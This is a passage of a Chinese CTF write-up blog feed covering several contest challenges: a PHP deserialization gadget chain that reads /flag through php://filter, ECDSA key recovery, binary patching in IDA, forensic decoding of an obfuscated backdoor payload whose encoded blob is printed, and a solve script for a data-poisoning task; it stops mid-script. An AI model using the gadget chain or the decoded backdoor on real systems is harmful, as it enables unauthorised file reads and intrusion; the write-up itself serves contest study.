class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">A</span> </span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$handle</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">triggerMethod</span>(<span class="hljs-params"></span>) </span>&#123;<br>        <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;&quot;</span> . <span class="hljs-variable language_">$this</span>-&gt;handle;<br>    &#125;<br>&#125;<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">B</span> </span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$worker</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__toString</span>(<span class="hljs-params"></span>) </span>&#123;<br>        <span class="hljs-keyword">return</span> <span class="hljs-variable language_">$this</span>-&gt;worker-&gt;result;<br>    &#125;<br>&#125;<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">C</span> </span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$cmd</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__get</span>(<span class="hljs-params"><span class="hljs-variable">$name</span></span>) </span>&#123;<br>        <span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">file_get_contents</span>(<span class="hljs-variable">$this</span>-&gt;cmd);<br>    &#125;<br>&#125;<br> <br><span class="hljs-variable">$c</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">C</span>();<br><span class="hljs-variable">$c</span>-&gt;cmd = <span class="hljs-string">&quot;php://filter/read=convert.base64-encode/resource=/flag&quot;</span>;<br><span class="hljs-variable">$b</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">B</span>();<br><span class="hljs-variable">$b</span>-&gt;worker = <span class="hljs-variable">$c</span>;<br><span class="hljs-variable">$a</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">A</span>();<br><span class="hljs-variable">$a</span>-&gt;handle = <span class="hljs-variable">$b</span>;<br><span class="hljs-variable">$d</span> = <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$a</span>);<br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$d</span>;<br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>解base64</p><p class='item-img' data-src='/articles/2025-ccb-ciscn/2025-ccb-ciscn_01.png'><img src="/articles/2025-ccb-ciscn/2025-ccb-ciscn_01.png"></p><h2 id="密码学"><a href="#密码学" class="headerlink" title="密码学"></a>密码学</h2><h3 id="ECDSA"><a href="#ECDSA" class="headerlink" title="ECDSA"></a>ECDSA</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> ecdsa <span class="hljs-keyword">import</span> SigningKey, NIST521p<br><span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha512<br><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes<br><span class="hljs-keyword">import</span> random<br><span class="hljs-keyword">import</span> binascii<br><span class="hljs-keyword">import</span> sys<br>digest_int = <span class="hljs-built_in">int</span>.from_bytes(sha512(<span class="hljs-string">b&quot;Welcome to this challenge!&quot;</span>).digest(), <span class="hljs-string">&quot;big&quot;</span>)<br>curve_order = NIST521p.order<br>priv_int = digest_int % curve_order<br>priv_bytes = long_to_bytes(priv_int, <span class="hljs-number">66</span>)<br>sk = SigningKey.from_string(priv_bytes, curve=NIST521p)<br>vk = sk.verifying_key<br>f_pub = <span class="hljs-built_in">open</span>(<span class="hljs-string">&quot;public.pem&quot;</span>, <span class="hljs-string">&quot;wb&quot;</span>)<br>f_pub.write(vk.to_pem())<br>f_pub.close()<br><br>msgs = [<span class="hljs-string">b&quot;message-&quot;</span> + <span class="hljs-built_in">bytes</span>([i]) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">60</span>)]<br>sigs = []<br><span class="hljs-keyword">def</span> <span class="hljs-title function_">nonce</span>(<span class="hljs-params">i</span>):<br>    seed = sha512(<span class="hljs-string">b&quot;bias&quot;</span> + <span class="hljs-built_in">bytes</span>([i])).digest()<br>    k = <span class="hljs-built_in">int</span>.from_bytes(seed, <span class="hljs-string">&quot;big&quot;</span>)<br>    <span class="hljs-keyword">return</span> k<br><br><span class="hljs-keyword">for</span> i, msg <span class="hljs-keyword">in</span> <span class="hljs-built_in">enumerate</span>(msgs):<br>    k = nonce(i)<br>    sig = sk.sign(msg, k=k)<br>    sigs.append((binascii.hexlify(msg).decode(), binascii.hexlify(sig).decode()))<br><br>f_sig = <span class="hljs-built_in">open</span>(<span class="hljs-string">&quot;signatures.txt&quot;</span>, <span class="hljs-string">&quot;w&quot;</span>)<br><span class="hljs-keyword">for</span> m, s <span class="hljs-keyword">in</span> sigs:<br>    f_sig.write(<span class="hljs-string">&quot;%s:%s\n&quot;</span> % (m, s))<br>f_sig.close()<br><br><span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha512, md5<br><br>msg = <span class="hljs-string">b&quot;Welcome to this challenge!&quot;</span><br>digest = sha512(msg).digest()<br>priv_int = <span class="hljs-built_in">int</span>.from_bytes(digest, <span class="hljs-string">&quot;big&quot;</span>)<br>flag_md5 = md5(<span class="hljs-built_in">str</span>(priv_int).encode()).hexdigest()<br><span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;flag&#123;&#123;<span class="hljs-subst">&#123;flag_md5&#125;</span>&#125;&#125;&quot;</span>)<br></code></pre></td></tr></table></figure><h3 id="EzFlag"><a href="#EzFlag" class="headerlink" title="EzFlag"></a>EzFlag</h3><p>使用IDA 伪代码分析main 函数得出固定密码 <code>V3ryStr0ngp@ssw0rd</code>；else 块中 for 循环用于计算flag内容；每次循环后有sleep拖延运行时长；v11的数值在多次循环后会变成极大数</p><p class='item-img' data-src='/articles/2025-ccb-ciscn/2025-ccb-ciscn_02.png'><img src="/articles/2025-ccb-ciscn/2025-ccb-ciscn_02.png"></p><p>用 Python 复现函数 f() 发现计算结果每24个为一个循环，因此传入 f() 函数的 v11 可以通过取模24的方式减小计算量</p><p class='item-img' data-src='/articles/2025-ccb-ciscn/2025-ccb-ciscn_03.png'><img src="/articles/2025-ccb-ciscn/2025-ccb-ciscn_03.png"></p><p>使用IDA编辑代码，jmp跳过密码验证环节空出代码位置</p><p class='item-img' data-src='/articles/2025-ccb-ciscn/2025-ccb-ciscn_04.png'><img src="/articles/2025-ccb-ciscn/2025-ccb-ciscn_04.png"></p><p>重新组织字节码结构</p><p class='item-img' data-src='/articles/2025-ccb-ciscn/2025-ccb-ciscn_05.png'><img src="/articles/2025-ccb-ciscn/2025-ccb-ciscn_05.png"></p><p>在 f() 函数调用前对参数进行取模</p><p class='item-img' data-src='/articles/2025-ccb-ciscn/2025-ccb-ciscn_06.png'><img src="/articles/2025-ccb-ciscn/2025-ccb-ciscn_06.png"></p><p>删除sleep代码</p><p class='item-img' data-src='/articles/2025-ccb-ciscn/2025-ccb-ciscn_07.png'><img src="/articles/2025-ccb-ciscn/2025-ccb-ciscn_07.png"></p><p>应用编辑后运行</p><p class='item-img' data-src='/articles/2025-ccb-ciscn/2025-ccb-ciscn_08.png'><img src="/articles/2025-ccb-ciscn/2025-ccb-ciscn_08.png"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># f() 函数验证脚本 </span><br>a1 = <span class="hljs-number">100</span><br>v5 = <span class="hljs-number">0</span><br>v4 = <span class="hljs-number">1</span><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(a1):<br>    v2 = v4<br>    v4 = (v5 + v4) &amp; <span class="hljs-number">0xF</span><br>    v5 = v2<br>    <span class="hljs-built_in">print</span>(v5, end=<span class="hljs-string">&#x27; &#x27;</span>)<br></code></pre></td></tr></table></figure><h2 id="流量分析"><a href="#流量分析" class="headerlink" title="流量分析"></a>流量分析</h2><h3 id="SnakeBackdoor-1"><a href="#SnakeBackdoor-1" class="headerlink" title="SnakeBackdoor-1"></a>SnakeBackdoor-1</h3><p>过滤 http 找到最后一个 <code>/admin/login</code></p><p class='item-img' data-src='/articles/2025-ccb-ciscn/2025-ccb-ciscn_09.png'><img src="/articles/2025-ccb-ciscn/2025-ccb-ciscn_09.png"></p><h3 id="SnakeBackdoor-2"><a href="#SnakeBackdoor-2" class="headerlink" title="SnakeBackdoor-2"></a>SnakeBackdoor-2</h3><p>跟到攻击者的模板注入 </p><p class='item-img' data-src='/articles/2025-ccb-ciscn/2025-ccb-ciscn_10.png'><img src="/articles/2025-ccb-ciscn/2025-ccb-ciscn_10.png"></p><h3 id="SnakeBackdoor-3"><a href="#SnakeBackdoor-3" class="headerlink" title="SnakeBackdoor-3"></a>SnakeBackdoor-3</h3><p>跟到 Base64 和 zlib 后的 Payload ，写代码解密，同时知道加密算法是 RC4</p><p class='item-img' data-src='/articles/2025-ccb-ciscn/2025-ccb-ciscn_11.png'><img src="/articles/2025-ccb-ciscn/2025-ccb-ciscn_11.png"></p><p class='item-img' data-src='/articles/2025-ccb-ciscn/2025-ccb-ciscn_12.png'><img src="/articles/2025-ccb-ciscn/2025-ccb-ciscn_12.png"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> base64<br><span class="hljs-keyword">import</span> zlib<br><br>__ = <span class="hljs-string">&#x27;=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&#x27;</span><br><span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:<br>    <span class="hljs-keyword">try</span>:<br>        b = base64.b64decode(__[::-<span class="hljs-number">1</span>])<br>        e = zlib.decompress(b).decode()<br>        s = e.split(<span class="hljs-string">&quot;&#x27;&quot;</span>)<br>        __ = s[<span class="hljs-number">1</span>]<br>    <span class="hljs-keyword">except</span>:<br>        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;&#x27;&quot;</span>.join(s))<br>        <span class="hljs-keyword">break</span><br></code></pre></td></tr></table></figure><h3 id="SnakeBackdoor-4"><a href="#SnakeBackdoor-4" class="headerlink" title="SnakeBackdoor-4"></a>SnakeBackdoor-4</h3><p>跟到攻击者将 <code>shell</code> 重命名为了 <code>python3.13</code></p><p class='item-img' data-src='/articles/2025-ccb-ciscn/2025-ccb-ciscn_13.png'><img src="/articles/2025-ccb-ciscn/2025-ccb-ciscn_13.png"></p><h2 id="AI安全"><a href="#AI安全" class="headerlink" title="AI安全"></a>AI安全</h2><h3 id="The-Silent-Heist"><a href="#The-Silent-Heist" class="headerlink" title="The Silent Heist"></a>The Silent Heist</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> pandas <span class="hljs-keyword">as</span> pd<br><span class="hljs-keyword">import</span> numpy <span class="hljs-keyword">as</span> np<br><span class="hljs-keyword">import</span> socket<br><span class="hljs-keyword">import</span> time<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">solve</span>():<br>    df = pd.read_csv(<span class="hljs-string">&#x27;misc\public_ledger.csv&#x27;</span>)<br>    df.columns = [<span class="hljs-string">f&#x27;feat_<span class="hljs-subst">&#123;i&#125;</span>&#x27;</span> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">20</span>)]<br>    means = df.mean()<br>    cov_matrix = df.cov()<br><br>    shrink_factor = <span class="hljs-number">0.2</span><br>    num_to_generate = <span class="hljs-number">7000</span><br>    <br>    samples = np.random.multivariate_normal(means, cov_matrix * shrink_factor, num_to_generate)<br><br>    dist = np.linalg.norm(samples - means.values, axis=<span class="hljs-number">1</span>)<br>    safe_indices = np.argsort(dist)[:<span class="hljs-number">6200</span>]<br>    final_samples = samples[safe_indices]<br>    <br>    fake_df = pd.DataFrame(final_samples, columns=df.columns)<br>    fake_df[fake_df &lt; <span class="hljs-number">0</span>] = <span class="hljs-number">0</span><br><br>    payload = fake_df.to_csv(index=<span class="hljs-literal">False</span>) + <span class="hljs-string">&quot;\nEOF\n&quot;</span><br><br>    host = <span class="hljs-string">&quot;39.105.197.135&quot;</span><br>    port = <span class="hljs-number">22541</span><br>    <br>    <span class="hljs-keyword">try</span>:<br>        <span class="hljs-keyword">with</span> socket.socket(socket.AF_INET, socket.SOCK_STREAM) <span class="hljs-keyword">as</span> s:<br>            s.settimeout(<span class="hljs-number">60</span>)<br>            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;连接 <span class="hljs-subst">&#123;host&#125;</span>:<span class="hljs-subst">&#123;port&#125;</span>...&quot;</span>)<br>            s.connect((host, port))<br>            <br>            time.sleep(<span class="hljs-number">1</span>)<br>            <span class="hljs-keyword">try</span>:<br>                <span class="hljs-built_in">print</span>(s.recv(<span class="hljs-number">1024</span>).decode(errors=<span class="hljs-string">&#x27;ignore&#x27;</span>))<br>            <span class="hljs-keyword">except</span>:<br>                <span class="hljs-keyword">pass</span><br>            s.sendall(payload.encode())<br>            <br>            response = <span class="hljs-string">&quot;&quot;</span><br>            <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:<br>                chunk = s.recv(<span class="hljs-number">4096</span>).decode(errors=<span class="hljs-string">&#x27;ignore&#x27;</span>)<br>                <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> chunk: <span class="hljs-keyword">break</span><br>                response += chunk<br>                <span class="hljs-built_in">print</span>(chunk, end=<span class="hljs-string">&quot;&quot;</span>, flush=<span class="hljs-literal">True</span>)<br>                <span class="hljs-keyword">if</span> <span class="hljs-string">&quot;flag&#123;&quot;</span> <span class="hljs-keyword">in</span> response.lower():<br>                    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;\n获取 Flag&quot;</span>)<br>                    <span class="hljs-keyword">break</span><br>                <span class="hljs-keyword">if</span> <span class="hljs-string">&quot;ALARM&quot;</span> <span class="hljs-keyword">in</span> response:<br>                    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;\n错误&quot;</span>)<br>                    <span class="hljs-keyword">break</span><br>    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:<br>        <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;\n[!] 连接异常: <span class="hljs-subst">&#123;e&#125;</span>&quot;</span>)<br><br><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&quot;__main__&quot;</span>:<br>    solve()<br></code></pre></td></tr></table></figure>]]>
    </content>
    <id>https://blog.moling.ink/articles/2025-ccb-ciscn/</id>
    <link href="https://blog.moling.ink/articles/2025-ccb-ciscn/"/>
    <published>2025-12-28T18:48:10.000Z</published>
    <summary>第十九届全国大学生信息安全竞赛创新实践能力赛暨第三届长城杯初赛 WriteUp,涵盖 Web 安全 PHP 反序列化、密码学 RSA 与 AES 解密、逆向工程 IDA 分析与反调试、流量分析 Wireshark 数据包取证、AI 安全多模态检测等题目的详细解题思路</summary>
    <title>第十九届全国大学生信息安全竞赛（创新实践能力赛）暨第三届&quot;长城杯&quot;网数智安全大赛（防护赛）初赛WP</title>
    <updated>2026-03-24T07:16:31.679Z</updated>
  </entry>
  <entry>
    <author>
      <name>Malpl3naInk</name>
    </author>
    <category term="WriteUP" scheme="https://blog.moling.ink/categories/WriteUP/"/>
    <category term="CTF" scheme="https://blog.moling.ink/tags/CTF/"/>
    <category term="比赛记录" scheme="https://blog.moling.ink/tags/%E6%AF%94%E8%B5%9B%E8%AE%B0%E5%BD%95/"/>
    <content>
      <![CDATA[<h2 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h2><h3 id="Torrent"><a href="#Torrent" class="headerlink" title="Torrent!"></a>Torrent!</h3><p>打开种子文件找到SHA1 Hash</p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_00.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_00.png"></p><p>在线解密拿到明文，MD4 Hash</p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_01.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_01.png"></p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_02.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_02.png"></p><h3 id="哈基米"><a href="#哈基米" class="headerlink" title="哈基米"></a>哈基米</h3><p>文件属性找到Base64，文件尾找到替换表</p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_03.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_03.png"></p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_04.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_04.png"></p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_05.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_05.png"></p><h2 id="CRYPTO"><a href="#CRYPTO" class="headerlink" title="CRYPTO"></a>CRYPTO</h2><h3 id="Empire"><a href="#Empire" class="headerlink" title="Empire"></a>Empire</h3><p>Empire(皇帝) &#x2F; Ceasar凯撒(大帝)</p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_06.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_06.png"></p><h3 id="SEA"><a href="#SEA" class="headerlink" title="SEA"></a>SEA</h3><p>直接爆</p><p class='item-img' data-src='/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_07.png'><img src="/articles/2025-1st-zjtie-netsec/2025-1st-zjtie-netsec_07.png"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES<br><span class="hljs-keyword">import</span> base64<br><span class="hljs-comment"># from FLAG  import flag</span><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">pkcs7_pad</span>(<span class="hljs-params">data</span>):<br>    block = <span class="hljs-number">16</span><br>    padding_len = block - <span class="hljs-built_in">len</span>(data) % block<br>    <span class="hljs-keyword">return</span> data + <span class="hljs-built_in">bytes</span>([padding_len]) * padding_len<br><br>key_l3 = [<span class="hljs-number">65</span>, <span class="hljs-number">65</span>, <span class="hljs-number">65</span>]<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">main</span>():<br>    <span class="hljs-keyword">while</span> key_l3[<span class="hljs-number">0</span>] != <span class="hljs-number">0x7e</span>:<br>        key_l3[<span class="hljs-number">2</span>] += <span class="hljs-number">1</span><br>        <span class="hljs-keyword">if</span> (key_l3[<span class="hljs-number">2</span>] &gt; <span class="hljs-number">0x7e</span>):<br>            key_l3[<span class="hljs-number">2</span>] = <span class="hljs-number">65</span><br>            key_l3[<span class="hljs-number">1</span>] += <span class="hljs-number">1</span><br>        <span class="hljs-keyword">if</span> (key_l3[<span class="hljs-number">1</span>] &gt; <span class="hljs-number">0x7e</span>):<br>            key_l3[<span class="hljs-number">1</span>] = <span class="hljs-number">65</span><br>            key_l3[<span class="hljs-number">0</span>] += <span class="hljs-number">1</span><br>        key = <span class="hljs-string">&quot;ZJTIE-CTF-IS-&quot;</span> + <span class="hljs-built_in">chr</span>(key_l3[<span 